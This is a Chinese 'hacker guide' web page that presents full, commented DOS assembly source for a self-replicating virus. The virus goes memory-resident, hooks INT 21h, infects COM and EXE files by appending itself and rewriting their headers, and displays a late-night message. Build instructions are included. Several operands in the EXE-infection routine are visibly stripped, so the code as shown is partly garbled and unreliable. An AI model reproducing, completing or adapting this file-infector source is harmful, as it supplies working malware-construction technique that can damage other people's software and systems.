2023年12月24日发(作者:)

※黑客攻防指南※==>病毒信息==>编写感染COM与EXE文件的病毒的样例程序

编写感染COM与EXE文件的病毒的样例程序

;此程序是d由v0病毒改装升级而来

;在DOS下才有一定的传染能力

;此程序部分应用了32位编程

;制作方法如下

;tasm32 dv1;

;tlink dv1;

;Debug

;-n

;-w

;-q

;最后生成病毒程序

OFF equ Offset

DosMcb Struc ;Dos内存控制链结构(部分)

Flag db ? ;是'M'则不是最后一块;是 'Z'则是最后一块

Owner dw ? ;是008: 则是系统所有;是0则为未使用内存块

Sizes dw ? ;本块大小,按节计算(1节=10h字节)

DosMcb Ends

ExeHeader Struc ;Exe文件头结构

Flags dw 'ZM';Exe文件标志

ModSize dw ? ;Exe文件最后一页字节数

Pages dw ? ;Exe文件页数(1页为512字节)

Reloc dw ? ;Exe文件从定位项数

MeSize dw ? ;本文头节数

MinMem dw ? ;该程序所须最小内存(节)

MaxMem dw ? ;该程序所须最大内存(节)

StartSs dw ? ;程序Sp初值

StartSp dw ? ;程序相对Ss初值

CheckSum dw ? ;文件头检查和

StartIp dw ? ;程序Ip初值

StartCs dw ? ;程序相对Cs初值

RelocOff dw ? ;从定位信息偏移

ExeHeader Ends

VirusSize=OFF @@End-OFF @@Start ;(病毒大小)

VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的内存大小)

.386

.model small

.code

org 100h ;按COM格式编写

@@Start: ;病毒引导块

pusha ;保存所有通用寄存器

mov ax,4d4dh

int 21h ;是否已经驻留内存(自定义中断)

cmp ax,4d4dh

jz short @@ExecOldApp ;否,调用安装模块

call @@Install

@@ExecOldApp:

mov ah,2ch

int 21h ;得到系统时间

cmp cx,22*100h+30 ;(Cmp 时间:22:30)

jb short @@TestFlag ;不到22:30不调用显示消息

call @@DisplayMsg ;调用表现块

@@TestFlag:

clc ;预设为Clc指令,表示是Com文件(若在传染时被改成Stc则是Exe文件)

jc short @@IsExeApp

@@IsComApp:

call @@GetOldComAppCode

OldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以返回Dos

dw 0000h ;这里为保存原COM文件头部4字节信息

@@GetOldComAppCode:

pop si ;得到OldAppCode的地址

mov di,100h

cld

lodsd

stosd ;恢复原COM头部4字节

popa ;恢复所有通用寄器

push word ptr 100h

ret ;去执行原COM程序

@@IsExeApp:

popa ;恢复所有通用寄器

cli ;改变堆栈指针时要关闭中断

mov sp,es ;得到Psp( Sp=PSP段址)

add sp,10h

SpAddData dw 0c481h;0bch是add sp,xxxx指令

OldAppSs dw 000h ;原Exe文件Ss相对值

mov ss,sp ;计算出原程序堆栈并恢复

MoveDataToSp db 0bch ;0bch是mov sp,xxxx指令

OldAppSp dw 000h ;原Exe文件Sp值

sti ;从新开启中断

push ax

mov ax,es ;得到Psp( Ax=PSP段址)

add ax,10h

AxAddData db 005h ;05h是add ax,xxxx指令,计算原程序Cs值

OldAppCs dw 000h ;原Exe文件Cs相对值

movzx esp,sp ;转化为32位[esp]式堆栈寻址

xchg ax,[esp] ;恢复ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆栈寻址

PushWordData db 068h ;068h是push word ptr xxxx指令

OldAppIp dw 000h ;原Exe文件Ip值

retf ;去执行原Exe程序

@@Install:

push ds

push es ;保存段寄存器

mov ax,ds

dec ax ;得到自己的MCB结构段址,它在程序的PSP前

@@ContFindLastMcb:

mov ds,ax

cmp ds:[Flag],'Z' ;是最后一块吗?

jz short @@FoundLastMcb

add ax,ds:[Sizes]

inc ax ;计算下一个MCB 的段址=本块段址+本块大小+1

jmp short @@ContFindLastMcb

@@FoundLastMcb:

sub ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块大小减去病毒所须内存大小(节数)

add ax,ds:[Sizes]

inc ax ;计算出病毒在高端RAM的地址(即在最后一块划出的空间段址)

mov es,ax

xor di,di

push cs

pop ds ;复位数据段

call @@GetVirusBase

@@GetVirusBase:

pop si

sub si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址

mov cx,VirusSize

cld

rep movsb ;把病毒搬运到高端地址

sub ax,10h ;计算出高端病毒的段地址(为使病毒偏移对齐,所以减去10h)

mov ds,ax

@@ContInstall:

mov ax,3521h

int 21h ;取Int 21h的中断向量,并保存

mov ds:OldInt21Seg,es

mov ds:OldInt21Off,bx

lea dx,@@NewInt21

mov ax,2521h

int 21h ;设新的Int 21h处理程序到@@NewInt21处

pop es

pop ds

ret

@@NewInt21: ;新Int21 h服务程序(传染块)

cmp ax,4d4dh

jnz short @@NextHook

iret ;是自定义中断,直接返回

@@NextHook:

cmp ah,4bh

jz short @@MyBeCom

cmp ah,43h

jz short @@MyBeCom

cmp ah,3dh

jz short @@MyBeCom ;截获4b,43,3d号Dos功能

@@JmpOldInt21:

cli ; 进入Int21h前,需要关中断!

JmpFar db 0eah ;远跳转指令jmp xxxx:xxxx

OldInt21Off dw ?

OldInt21Seg dw ?

@@CallInt21: ; 模拟Int 21h指令

pushf

push cs

call @@JmpOldInt21

ret

@@MyBeCom: ;入口参数ds:dx=以零结尾的Com文件名字符串

pusha

push ds

mov si,dx

xor al,al

@@ContFindExtName: ;找扩展名

inc si

cmp [si],al

jnz short @@ContFindExtName

mov eax,[si-4]

or eax,20202020h ;转化为小写字母

cmp eax,'moc.' ;是.com文件吗?

jz short @@IsComFile

cmp eax,'exe.' ;是.exe文件吗?

jz short @@IsExeFile

@@ExitOpt:

pop ds

popa

jmp short @@JmpOldInt21

@@IsComFile:

mov ax,3d02h

call @@CallInt21 ;3dh,打开COM文件

jc short @@OptComFalse ;失败

mov bx,ax

push cs

pop ds ;复位数据段

mov ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令,表示传染的是Com文件

lea dx,OldAppCode

mov cx,4

mov ah,3fh

int 21h ;读文件首部4字节

jc short @@CloseComFile

mov si,dx

cmp word ptr[si],'ZM' ;是否是EXE文件(是否是Com文件不能仅由扩展名判断)

jz short @@CloseComFile ;是就不感染

cmp byte ptr[si+3],'V';是否有已感染病毒标志

jz short @@CloseComFile ;是则说明该程序已经被感染了

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h ;将文件指针移到文件尾,返回dx:ax=文件长度

or dx,dx

jnz short @@CloseComFile ;文件太大不感染

mov dx,ax

add ax,VirusSize

jc short @@CloseComFile ;文件太大不感染

cmp ax,0fd00h

ja short @@CloseComFile ;文件太大不感染

sub dx,03 ;计算出Jmp Virus的偏移量

mov ds:JmpOffset,dx

lea dx,@@Start

mov cx,VirusSize

mov ah,40h

int 21h ;将病毒写到文件尾部

mov ax,4200h

xor cx,cx

xor dx,dx

int 21h ;把文件指针移到文件首

mov cx,04h

lea dx,@@JmpVirus

mov ah,40h

int 21h ;写Jmp Virus与病毒Flag 4字节到文件首部

@@CloseComFile:

mov ah,3eh

int 21h ;关闭文件

@@OptComFalse:

jmp short @@ExitOpt

@@IsExeFile:

mov ax,3d02h

call @@CallInt21 ;3dh,打开Exe文件

jc @@OptExeFalse ;失败

mov bx,ax

push cs

pop ds ;复位数据段

mov ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令,表示传染的是Exe文件

lea dx,MyExeHeader

mov cx,size ExeHeader

mov ah,3fh

int 21h ;读文件首部4字节

jc @@CloseExeFile

cmp ax,cx

jb @@CloseExeFile

mov si,dx

cmp word ptr[],'ZM' ;是否是EXE文件(是否是EXE文件不能仅由扩展名判断)

jnz @@CloseExeFile ;不是就不感染

cmp [um],'VV' ;是否有已感染病毒标志

jz @@CloseExeFile ;是则说明该程序已经被感染了

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h ;将文件指针移到文件尾,返回dx:ax=文件长度

cmp dx,8h

ja short @@CloseExeFile ;文件太大,可能是Windows应用程序

shl edx,16

mov dx,ax

push edx ;保存文件大小

shr edx,4

sub dx,[] ;计算病毒在该Exe程序中新的相对Cs

and ax,0fh ;计算病毒在该Exe程序中新的Ip值(0=

mov cx,dx ;cx=dx=新的相对Cs值

xchg [s],dx

mov ds:[OldAppCs],dx ;修改相对Cs值,保存原相对Cs值

xchg [s],cx

mov ds:[OldAppSs],cx ;修改相对Ss值,保存原相对Ss值

xchg [p],ax

mov ds:[OldAppIp],ax ;修改Ip值,保存原Ip值

xor ax,ax

xchg [p],ax ;修改Sp值,保存原Sp值

mov ds:[OldAppSp],ax

mov [um],'VV';设置传染标志

pop edx ;弹出文件大小

mov ecx,VirusSize

add edx,ecx ;计算感染后文件的大小

mov ax,dx

and ax,1ffh ;计算感染后文件的ModSize

mov [e],ax

add edx,1ffh

shr edx,9 ;计算感染后文件的Pages

mov [],dx

lea dx,@@Start

mov ah,40h

int 21h ;将病毒写到文件尾部

mov ax,4200h

xor cx,cx

xor dx,dx

int 21h ;把文件指针移到文件首

mov cx,size ExeHeader

lea dx,MyExeHeader

mov ah,40h

int 21h ;写文件头到文件首部

@@CloseExeFile:

mov ah,3eh

int 21h ;关闭文件

@@OptExeFalse:

jmp @@ExitOpt

@@JmpVirus:

JumpNear db 0e9h ;近转移指令Jmp near xxxx

JmpOffset dw ?

VirusFlag db 'V' ;病毒标志为'V'字符

@@DisplayMsg:

pop dx

push dx

add dx,OFF @@Message-OFF @@TestFlag ;计算@@Message的偏移量

push ds

push cs

pop ds

mov ah,09h

int 21h ;显示信息,“夜已深,你该睡觉了!”

pop ds

ret

@@Message:

db 0ah,0dh,07h

db 'Night is deep,you must go sleep!'

db 0ah,0dh,'$'

db 'Go Sleep Ver3.0 by Whg 2001.5.2'

@@End:

MyExeHeader db size ExeHeader dup(?)

@@MemEnd:

end @@Start